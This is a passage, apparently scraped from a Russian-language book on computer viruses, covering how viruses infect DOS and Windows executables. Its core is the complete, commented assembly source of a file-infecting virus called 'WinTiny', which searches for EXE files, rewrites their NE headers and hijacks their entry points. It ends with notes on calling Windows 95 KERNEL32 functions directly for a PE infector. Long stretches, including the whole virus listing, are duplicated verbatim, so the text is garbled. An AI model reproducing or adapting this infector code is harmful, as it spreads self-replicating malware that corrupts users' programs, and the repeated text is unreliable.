Страница:
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположенное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовый файл.
19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.
Глава 3
Вирусы под Windows 3.11
Вирусы под Windows 95
Вызов Windows 95 API
Адреса и номера функций
Соглашения о вызовах
Заражение файлов формата PE-executable
Пример вируса под Windows 95
8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположенное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовый файл.
19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.
Глава 3
Вирусы под Windows
В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.
Вирусы под Windows 3.11
В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) – распознается DOS как программа, выводящая на экран «This program requires Microsoft Windows». Второй заголовок (NewEXE) – для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».
Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.
.286
.MODEL TINY
.CODE
;Сохраним регистры и флаги
pushf
pusha
push ds
push es
;Проверим, доступен ли DPMI. Если доступен,
;продолжаем, если нет – выходим
mov ax,1686h
int 2Fh
or ax,ax
jz dpmi_exist
;Восстановим регистры и флаги
exit:
pop es
pop ds
popa
popf
;Запустим программу−носитель
db 0EAh
relocIP dw 0
relocCS dw 0FFFFh
dpmi_exist:
;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,0FFFFh
xor bx,bx
int 31h
;Сохраним индекс и 32−битный линейный адрес
;полученного блока памяти в стеке
push si
push di
push bx
push cx
;Создадим дескриптор в таблице LDT
xor ax,ax
mov cx,1
int 31h
;В поле адреса полученного дескриптора
;установим адрес нужного блока памяти
mov bx,ax
mov ax,7
pop dx
pop cx
int 31h
;В поле предела полученного дескриптора
;установим размер выделенного блока памяти
mov ax,8
mov dx,0FFFFh
xor cx,cx
int 31h
;В поле прав доступа полученного дескриптора установим значение,
;соответствующее сегменту данных, доступному для чтения и записи
mov ax,9
mov cl,11110010b
xor ch,ch
int 31h
;Загрузим селектор в регистр DS. После этого регистр DS будет
;указывать на выделенный блок памяти
mov ds,bx
;Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
;Получим текущую DTA
mov ah,2Fh
int 21h
mov [DTA],bx
mov [DTA+2],es
;Найдем первый EXE−файл (маска *.EXE)
mov ah,4Eh
xor cx,cx
mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21h
pop ds
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу−носитель
jnc found_exe
;Освободим выделенную область памяти
call free
;Запустим программу−носитель
jmp exit
;Перейдем к следующему файлу – этот не подходит
close_exe:
;Закроем файл
mov ah,3Eh
int 21h
;Найдем следующий файл
mov ah,4Fh
int 21h
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу−носитель
jnc found_exe
;Освободим выделенную область памяти
call free
;Запустим программу−носитель
jmp exit
;Файл найден, проверим его на пригодность к заражению
found_exe:
;Откроем файл для чтения и записи
push ds
lds dx,DWORD PTR [DTA]
add dx,1Eh
mov ax,3D02h
int 21h
pop ds
;Прочтем старый заголовок
mov dx,OFFSET old_hdr
mov bx,ax
mov cx,40h
mov ah,3Fh
int 21h
;Проверим сигнатуру, это EXE−файл?
cmp WORD PTR [old_hdr],”ZM”
jne close_exe
;Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный EXE−файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому что это может оказаться
;PE−, LE−, LX−executable или другой
;(PE−executable описан в разделе,
;посвященном Windows 95, остальные
;типы EXE−файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
;Перейдем ко второму заголовку (может быть, это NewEXE?):
;Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx,WORD PTR [old_hdr+3Ch]
mov cx,WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
;Прочитаем второй заголовок
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,3fh
int 21h
;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл
cmp WORD PTR [new_hdr],”EN”
jne close_exe
;Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
;Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
;Для этого прочтем значение регистра CS при запуске
;этого EXE−файла
mov dx,WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему
;элемента в таблице сегментов
dec dx
shl dx,3
;К результату прибавим смещение таблицы сегментов и смещение
;заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
;Переместим указатель чтения/записи
mov ax,4200h
int 21h
;Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov cx,2
mov ah,3Fh
int 21h
;Вычислим смещение сегмента, опираясь на значения
;смещения логического сектора и множителя секторов
mov dx,WORD PTR [temp]
mov cx,WORD PTR [new_hdr+32h]
xor ax,ax
cal_entry:
shl dx,1
rcl ax,1
loop cal_entry
;Переместим 16 старших бит 32−битного результата в регистр CX
mov cx,ax
;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx,0
;Переместим указатель позиции чтения/записи на точку старта
;программы – результат вычисления
mov ax,4200h
int 21h
;Считаем первые 10 байт после старта программы
mov dx,OFFSET temp
mov cx,10h
mov ah,3Fh
int 21h
;Проверим, заражен ли файл. Если считанные 10 байт в точности
;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе – заражаем
mov si,OFFSET temp
push cs
pop es
xor di,di
mov cx,8
cld
rep cmpsw
jne ok_to_infect
jmp close_exe
;Приступим к заражению
ok_to_infect:
;Переместим NE−заголовок на 8 байт ближе к началу файла.
;Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0
;Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [host_ip]
push WORD PTR [new_hdr+16h]
pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
;Переместим указатель чтения/записи в начало файла
;(к старому заголовку)
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
;Запишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти
mov dx,OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на начало нового
;заголовка (его переместили на 8 байт к началу файла)
mov dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h
int 21h
;Запишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на 8 байт
;вперед – к началу таблицы сегментов
xor cx,cx
mov dx,8
mov ax,4201h
int 21h
;Рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx,WORD PTR [new_hdr+1ch]
dec cx
shl cx,3
push cx
mov ah,3Fh
int 21h
;Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,–1
mov ax,4201h
int 21h
;Запишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop cx
mov ah,40h
int 21h
;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor cx,cx
xor dx,dx
mov ax,4201h
int 21h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
;Получим длину файла, переместив указатель
;чтения/записи в конец файла
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx,WORD PTR [new_hdr+32h]
mov ax,1
shl ax,cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov cx,ax
pop ax
pop dx
div cx
;Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;Заполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop cx
;Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21h
;Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov cx,8
mov ah,40h
int 21h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой−то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov cx,OFFSET vir_end
cld
rep movsb
push es
pop ds
;Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+relocIP],0
mov WORD PTR [si+relocCS],0FFFFh
;Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h
;Запишем тело вируса в файл
mov dx,OFFSET temp
mov cx,OFFSET vir_end
mov ah,40h
int 21h
;Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET relocIP
;Запишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov cx,10
mov ah,40h
int 21h
;Закроем файл
mov ah,3Eh
int 21h
;Освободим выделенный блок памяти
call free
;Запустим программу−носитель
jmp exit
;Процедура, освобождающая выделенный блок памяти
free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
int 31h
ret
free ENDP
;Маска для поиска файлов
wild_exe DB ”*.EXE”,0
;Имя вируса
DB ”WinTiny”
;Идентификатор, указывающий на конец инициализированных данных
vir_end:
;Индекс выделенного блока памяти
mem_hnd DW ?
DW ?
;Адрес текущей DTA
DTA DW ?
DW ?
;Место для хранения старого заголовка
old_hdr DB 40h dup (?)
;Место для хранения нового заголовка
new_hdr DB 40h dup (?)
;Длина логического номера сектора
log_sec_len DW ?
;Новый элемент в таблице сегментов
my_seg_entry DW ?
DW ?
DW ?
DW ?
;Перемещаемый элемент
reloc_data DW ?
DB ?
DB ?
DW ?
;Значение оригинальной точки входа
host_cs DW ?
host_ip DW ?
;Область памяти для использования
temp DB ?
END
Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».
Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.
.286
.MODEL TINY
.CODE
;Сохраним регистры и флаги
pushf
pusha
push ds
push es
;Проверим, доступен ли DPMI. Если доступен,
;продолжаем, если нет – выходим
mov ax,1686h
int 2Fh
or ax,ax
jz dpmi_exist
;Восстановим регистры и флаги
exit:
pop es
pop ds
popa
popf
;Запустим программу−носитель
db 0EAh
relocIP dw 0
relocCS dw 0FFFFh
dpmi_exist:
;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,0FFFFh
xor bx,bx
int 31h
;Сохраним индекс и 32−битный линейный адрес
;полученного блока памяти в стеке
push si
push di
push bx
push cx
;Создадим дескриптор в таблице LDT
xor ax,ax
mov cx,1
int 31h
;В поле адреса полученного дескриптора
;установим адрес нужного блока памяти
mov bx,ax
mov ax,7
pop dx
pop cx
int 31h
;В поле предела полученного дескриптора
;установим размер выделенного блока памяти
mov ax,8
mov dx,0FFFFh
xor cx,cx
int 31h
;В поле прав доступа полученного дескриптора установим значение,
;соответствующее сегменту данных, доступному для чтения и записи
mov ax,9
mov cl,11110010b
xor ch,ch
int 31h
;Загрузим селектор в регистр DS. После этого регистр DS будет
;указывать на выделенный блок памяти
mov ds,bx
;Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
;Получим текущую DTA
mov ah,2Fh
int 21h
mov [DTA],bx
mov [DTA+2],es
;Найдем первый EXE−файл (маска *.EXE)
mov ah,4Eh
xor cx,cx
mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21h
pop ds
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу−носитель
jnc found_exe
;Освободим выделенную область памяти
call free
;Запустим программу−носитель
jmp exit
;Перейдем к следующему файлу – этот не подходит
close_exe:
;Закроем файл
mov ah,3Eh
int 21h
;Найдем следующий файл
mov ah,4Fh
int 21h
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу−носитель
jnc found_exe
;Освободим выделенную область памяти
call free
;Запустим программу−носитель
jmp exit
;Файл найден, проверим его на пригодность к заражению
found_exe:
;Откроем файл для чтения и записи
push ds
lds dx,DWORD PTR [DTA]
add dx,1Eh
mov ax,3D02h
int 21h
pop ds
;Прочтем старый заголовок
mov dx,OFFSET old_hdr
mov bx,ax
mov cx,40h
mov ah,3Fh
int 21h
;Проверим сигнатуру, это EXE−файл?
cmp WORD PTR [old_hdr],”ZM”
jne close_exe
;Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный EXE−файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому что это может оказаться
;PE−, LE−, LX−executable или другой
;(PE−executable описан в разделе,
;посвященном Windows 95, остальные
;типы EXE−файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
;Перейдем ко второму заголовку (может быть, это NewEXE?):
;Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx,WORD PTR [old_hdr+3Ch]
mov cx,WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
;Прочитаем второй заголовок
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,3fh
int 21h
;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл
cmp WORD PTR [new_hdr],”EN”
jne close_exe
;Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
;Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
;Для этого прочтем значение регистра CS при запуске
;этого EXE−файла
mov dx,WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему
;элемента в таблице сегментов
dec dx
shl dx,3
;К результату прибавим смещение таблицы сегментов и смещение
;заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
;Переместим указатель чтения/записи
mov ax,4200h
int 21h
;Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov cx,2
mov ah,3Fh
int 21h
;Вычислим смещение сегмента, опираясь на значения
;смещения логического сектора и множителя секторов
mov dx,WORD PTR [temp]
mov cx,WORD PTR [new_hdr+32h]
xor ax,ax
cal_entry:
shl dx,1
rcl ax,1
loop cal_entry
;Переместим 16 старших бит 32−битного результата в регистр CX
mov cx,ax
;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx,0
;Переместим указатель позиции чтения/записи на точку старта
;программы – результат вычисления
mov ax,4200h
int 21h
;Считаем первые 10 байт после старта программы
mov dx,OFFSET temp
mov cx,10h
mov ah,3Fh
int 21h
;Проверим, заражен ли файл. Если считанные 10 байт в точности
;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе – заражаем
mov si,OFFSET temp
push cs
pop es
xor di,di
mov cx,8
cld
rep cmpsw
jne ok_to_infect
jmp close_exe
;Приступим к заражению
ok_to_infect:
;Переместим NE−заголовок на 8 байт ближе к началу файла.
;Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0
;Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [host_ip]
push WORD PTR [new_hdr+16h]
pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
;Переместим указатель чтения/записи в начало файла
;(к старому заголовку)
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
;Запишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти
mov dx,OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на начало нового
;заголовка (его переместили на 8 байт к началу файла)
mov dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h
int 21h
;Запишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на 8 байт
;вперед – к началу таблицы сегментов
xor cx,cx
mov dx,8
mov ax,4201h
int 21h
;Рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx,WORD PTR [new_hdr+1ch]
dec cx
shl cx,3
push cx
mov ah,3Fh
int 21h
;Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,–1
mov ax,4201h
int 21h
;Запишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop cx
mov ah,40h
int 21h
;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor cx,cx
xor dx,dx
mov ax,4201h
int 21h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
;Получим длину файла, переместив указатель
;чтения/записи в конец файла
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx,WORD PTR [new_hdr+32h]
mov ax,1
shl ax,cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov cx,ax
pop ax
pop dx
div cx
;Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;Заполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop cx
;Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21h
;Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov cx,8
mov ah,40h
int 21h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой−то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov cx,OFFSET vir_end
cld
rep movsb
push es
pop ds
;Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+relocIP],0
mov WORD PTR [si+relocCS],0FFFFh
;Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h
;Запишем тело вируса в файл
mov dx,OFFSET temp
mov cx,OFFSET vir_end
mov ah,40h
int 21h
;Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET relocIP
;Запишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov cx,10
mov ah,40h
int 21h
;Закроем файл
mov ah,3Eh
int 21h
;Освободим выделенный блок памяти
call free
;Запустим программу−носитель
jmp exit
;Процедура, освобождающая выделенный блок памяти
free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
int 31h
ret
free ENDP
;Маска для поиска файлов
wild_exe DB ”*.EXE”,0
;Имя вируса
DB ”WinTiny”
;Идентификатор, указывающий на конец инициализированных данных
vir_end:
;Индекс выделенного блока памяти
mem_hnd DW ?
DW ?
;Адрес текущей DTA
DTA DW ?
DW ?
;Место для хранения старого заголовка
old_hdr DB 40h dup (?)
;Место для хранения нового заголовка
new_hdr DB 40h dup (?)
;Длина логического номера сектора
log_sec_len DW ?
;Новый элемент в таблице сегментов
my_seg_entry DW ?
DW ?
DW ?
DW ?
;Перемещаемый элемент
reloc_data DW ?
DB ?
DB ?
DW ?
;Значение оригинальной точки входа
host_cs DW ?
host_ip DW ?
;Область памяти для использования
temp DB ?
END
Вирусы под Windows 95
Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.
Вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call API_FUNCTION_NAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah ;инструкция call
dd ???? ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
push function value
call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call API_FUNCTION_NAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah ;инструкция call
dd ???? ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
push function value
call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.
Адреса и номера функций
Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL
Соглашения о вызовах
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL−модуля
LPCSTR lpszProc // имя функции
);
